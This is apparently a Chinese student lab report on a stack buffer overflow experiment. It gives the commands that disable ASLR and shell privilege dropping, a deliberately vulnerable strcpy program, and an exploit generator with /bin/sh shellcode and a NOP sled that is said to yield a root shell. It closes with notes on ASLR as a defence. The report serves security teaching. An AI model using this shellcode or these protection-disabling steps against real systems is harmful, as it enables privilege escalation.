缓冲区溢出漏洞实验20181226
缓冲区溢出实验
一、实验原理:缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
二、实验步骤:
1.准备工作
本次实验采用的环境是32位Ubuntu linux,故输入命令安装一些用于编译 32 位 C 程序的软件包如下:
1 sudo apt-get update 2 sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev 3 sudo apt-get install -y python3.6-gdbm gdb
2.初始设置
(1)关闭地址空间随机化,代码如下:
sudo sysctl -w kernel.randomize_va_space=0
(2)使用另一个程序(zsh)代替linux系统中许多shell程序再被调用时自动放弃它的特权的防护措施,指令描述如下:
sudo su cd /bin rm sh ln -s zsh sh exit
3.设计漏洞程序
在tmp目录下新建一个stack.c文件,然后用vim将实验楼所述代码剪切到该文件中,建立过程如下截图所示:
/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
4.设计攻击程序
在tmp目录下新建一个exploit.c文件,通过gdb调试获得代码中str的地址,在文件中补上该地址后编译,相关代码即过程如下:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
5.攻击结果
先运行攻击程序,再运行漏洞程序,观察结果如下:
由此可见,通过攻击获得了root权限,实验成功。
三、实验思考与体会
1.通过命令 sudo sysctl -w kernel.randomize_va_space=2
打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限,结果如下:
结果显示fault,这可能是因为打开了系统的地址空间随机化功能,导致目标文件的地址难以确定而无法获得root权限。
且通过多次重复用 exploit 程序攻击 stack 程序,证明了上述观点,目标文件地址在随机改变
2.将 /bin/sh
重新指向 /bin/bash
(或/bin/dash
),观察能否攻击成功,能否获得 root 权限。
结果发现仍不能获得root权限,这与初始设置里所说的即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限相符合。
3.体会
在本次实验是在实验楼中进行的,该环境刚开始有很多漏洞且卡顿,给本次实验带来了很多麻烦,但都大致克服了。通过这次的设计攻击漏洞实验,让我对缓冲区漏洞的一部分原理有了更深的了解,受益匪浅。